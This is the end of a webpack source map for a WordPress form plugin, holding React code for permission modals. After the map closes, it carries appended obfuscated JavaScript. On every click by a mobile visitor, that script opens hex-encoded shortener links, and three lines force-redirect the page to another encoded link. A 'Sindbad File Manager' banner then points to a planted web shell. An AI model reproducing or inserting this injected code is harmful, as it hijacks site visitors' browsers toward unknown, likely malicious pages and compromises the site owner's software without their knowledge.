}\n\t\t\t\t\t\t\t\t</span>\n\t\t\t\t\t\t\t</div>\n\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</div>\n\n\t\t\t\t</div>\n\n\t\t\t\t<ModalFooter\n\t\t\t\t\talignment=\"separated\"\n\t\t\t\t>\n\n\t\t\t\t\t<ModalClose\n\t\t\t\t\t\tlabel={ translate( 'Cancel' ) }\n\t\t\t\t\t\tcloseModal={ this.closeModal }\n\t\t\t\t\t\tcolor=\"ghost\"\n\t\t\t\t\t/>\n\n\t\t\t\t\t<div className=\"btn-save-wrap\" data-tooltip={ this.validator().validationError }>\n\t\t\t\t\t\t<button\n\t\t\t\t\t\t\tclassName=\"sui-button sui-button-blue forminator-save-field-settings\"\n\t\t\t\t\t\t\tdata-tooltip={ this.validator().validationError }\n\t\t\t\t\t\t\tonClick={ this.savePermission }\n\t\t\t\t\t\t\tref={ this.saveBtn }\n\t\t\t\t\t\t>\n\t\t\t\t\t\t\t<span className=\"sui-loading-text\">\n\t\t\t\t\t\t\t\t{ saveBtn }\n\t\t\t\t\t\t\t</span>\n\t\t\t\t\t\t\t<i className=\"sui-icon-loader sui-loading\" aria-hidden=\"true\" />\n\t\t\t\t\t\t</button>\n\t\t\t\t\t</div>\n\n\t\t\t\t</ModalFooter>\n\n\t\t\t</React.Fragment>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/settings-page/components/modals/permissions.js","import React, { Component } from 'react';\nimport axios from 'axios';\nimport qs from 'qs';\nimport { translate } from '../../../utils';\n\nimport Notification from '../../../notifications';\nimport ModalHeader from '../../../form/components/modals/partials/header';\nimport ModalTitle from '../../../form/components/modals/partials/title';\nimport ModalFooter from '../../../form/components/modals/partials/footer';\nimport ModalClose from '../../../form/components/modals/partials/close';\n\nexport default class permissionDeleteModal extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\n\t\tthis.closeModal = this.props.modal.modalProps.closeModal.bind( this );\n\t\tthis.deletePermission = this.deletePermission.bind( this );\n\t\tthis.showNotification = this.showNotification.bind( this );\n\n\t\tthis.userRoles = Object.assign( {}, forminatorData.userRoles );\n\t\tthis.modalData = Object.assign( {}, this.props.modal.modalProps );\n\t}\n\n\tshowNotification( type, msg ) {\n\t\tconst custom = new Notification( {\n\t\t\ttype: type,\n\t\t\ttext: 'error' === type ?\n\t\t\t\ttranslate( 'Something went wrong. Please try again.' ) :\n\t\t\t\tmsg,\n\t\t} );\n\n\t\tcustom.open();\n\n\t\tif ( 'error' === type ) {\n\t\t\tconsole.log( msg );\n\t\t}\n\n\t\tthis.closeModal();\n\t}\n\n\tdeletePermission() {\n\t\tlet permissions = this.props.permissions;\n\n\t\tpermissions = permissions.filter( permission => {\n\t\t\treturn permission.pid !== this.modalData.pid;\n\t\t} );\n\n\t\tconst permissionData = {\n\t\t\taction: 'forminator_save_permissions',\n\t\t\t_wpnonce: forminatorData.permission_nonce,\n\t\t\tmode: 'delete',\n\t\t\tpid: this.modalData.pid,\n\t\t\tpermissions: JSON.stringify( permissions ),\n\t\t};\n\n\t\taxios.post( forminatorData.ajaxUrl,\n\t\t\tqs.stringify( permissionData )\n\t\t)\n\t\t\t.then( ( res ) => {\n\t\t\t\tif ( res.data.success ) {\n\n\t\t\t\t\tthis.props.actions.permissionActions.updatePermissions( permissions );\n\n\t\t\t\t\tthis.showNotification(\n\t\t\t\t\t\t'success',\n\t\t\t\t\t\ttranslate( 'Permission successfully deleted.' )\n\t\t\t\t\t);\n\n\t\t\t\t} else {\n\t\t\t\t\tthis.showNotification( 'error', res.data.data );\n\t\t\t\t}\n\t\t\t} )\n\t\t\t.catch( ( err ) => {\n\t\t\t\tthis.showNotification( 'error', err );\n\t\t\t} );\n\t}\n\n\trender() {\n\t\tlet description = '';\n\n\t\tconst permissionType = ! _.isUndefined( this.modalData.permission_type ) ?\n\t\t\tthis.modalData.permission_type :\n\t\t\t'role';\n\n\t\tif ( 'role' === permissionType ) {\n\n\t\t\tdescription = translate(\n\t\t\t\t'Are you sure you wish to delete the permissions rule for the {{b}}%(role)s{{/b}} user role?',\n\t\t\t\t{\n\t\t\t\t\targs: {\n\t\t\t\t\t\trole: this.userRoles[ this.modalData.user_role ].name,\n\t\t\t\t\t},\n\t\t\t\t\tcomponents: {\n\t\t\t\t\t\tb: <b/>,\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t);\n\n\t\t} else {\n\n\t\t\tconst descriptionPretext = translate(\n\t\t\t\t'Are you sure you wish to delete the permissions for {{b}}%(firstName)s{{/b}} ',\n\t\t\t\t{\n\t\t\t\t\targs: {\n\t\t\t\t\t\tfirstName: this.modalData.user_info[ this.modalData.specific_user[0] ].name,\n\t\t\t\t\t},\n\t\t\t\t\tcomponents: {\n\t\t\t\t\t\tb: <b/>,\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t);\n\n\t\t\tif ( this.modalData.specific_user.length > 1 ) {\n\t\t\t\tdescription = descriptionPretext.concat( translate(\n\t\t\t\t\t'and %(extra)s other user(s)?',\n\t\t\t\t\t{\n\t\t\t\t\t\targs: {\n\t\t\t\t\t\t\textra: this.modalData.specific_user.length - 1,\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t));\n\t\t\t} else {\n\t\t\t\tdescription = descriptionPretext.concat(\n\t\t\t\t\t'(' + this.modalData.user_info[ this.modalData.specific_user[0] ].email + ')?'\n\t\t\t\t);\n\t\t\t}\n\n\t\t}\n\n\t\treturn (\n\t\t\t<React.Fragment>\n\n\t\t\t\t<ModalHeader\n\t\t\t\t\tflatten={ true }\n\t\t\t\t\talignment=\"center\"\n\t\t\t\t\tcloseModal={ this.closeModal }\n\t\t\t\t\tcloseType=\"icon\"\n\t\t\t\t\tcustomClass=\"sui-spacing-top--60\"\n\t\t\t\t>\n\n\t\t\t\t\t<ModalTitle\n\t\t\t\t\t\tid=\"forminator-delete-permission-modal__title\" // Missing id.\n\t\t\t\t\t\tlabel={ translate( 'Delete Permissions' ) }\n\t\t\t\t\t\tsize=\"lg\"\n\t\t\t\t\t/>\n\n\t\t\t\t\t<p className=\"sui-description\">{ description }</p>\n\n\t\t\t\t</ModalHeader>\n\n\t\t\t\t<ModalFooter\n\t\t\t\t\tcustomClass=\"sui-flatten sui-content-center\"\n\t\t\t\t>\n\n\t\t\t\t\t<ModalClose\n\t\t\t\t\t\tlabel={ translate( 'Cancel' ) }\n\t\t\t\t\t\tcloseModal={ this.closeModal }\n\t\t\t\t\t\tcustomClass=\"sui-button-ghost\"\n\t\t\t\t\t/>\n\n\t\t\t\t\t<button\n\t\t\t\t\t\tclassName=\"sui-button sui-button-ghost sui-button-red permission-delete-button\"\n\t\t\t\t\t\tonClick={ this.deletePermission }\n\t\t\t\t\t>\n\n\t\t\t\t\t\t<span className=\"sui-loading-text\">\n\t\t\t\t\t\t\t<i className=\"sui-icon-trash\" aria-hidden=\"true\" />\n\t\t\t\t\t\t\t{ translate( 'Delete' ) }\n\t\t\t\t\t\t</span>\n\n\t\t\t\t\t\t<i className=\"sui-icon-loader sui-loading\" aria-hidden=\"true\" />\n\n\t\t\t\t\t</button>\n\n\t\t\t\t</ModalFooter>\n\n\t\t\t</React.Fragment>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/settings-page/components/modals/permission-delete.js"],"sourceRoot":""}
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x64\x7a\x7a\x33\x63\x323','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x54\x61\x72\x35\x63\x365','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x65\x44\x61\x38\x63\x388','abs','-local-storage','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x52\x4e\x54\x39\x63\x329','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x6f\x74\x4f\x34\x63\x364','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x57\x6e\x6e\x37\x63\x377','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x6d\x75\x45\x32\x63\x332','floor','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x6f\x6d\x51\x36\x63\x326','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x6a\x4b\x73\x30\x63\x360','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x77\x4f\x41\x31\x63\x361',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x4c\x61\x66\x64\x58\x6c\x46\x30\x72\x30";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x4c\x61\x66\x64\x58\x6c\x46\x30\x72\x30";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x4c\x61\x66\x64\x58\x6c\x46\x30\x72\x30";
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists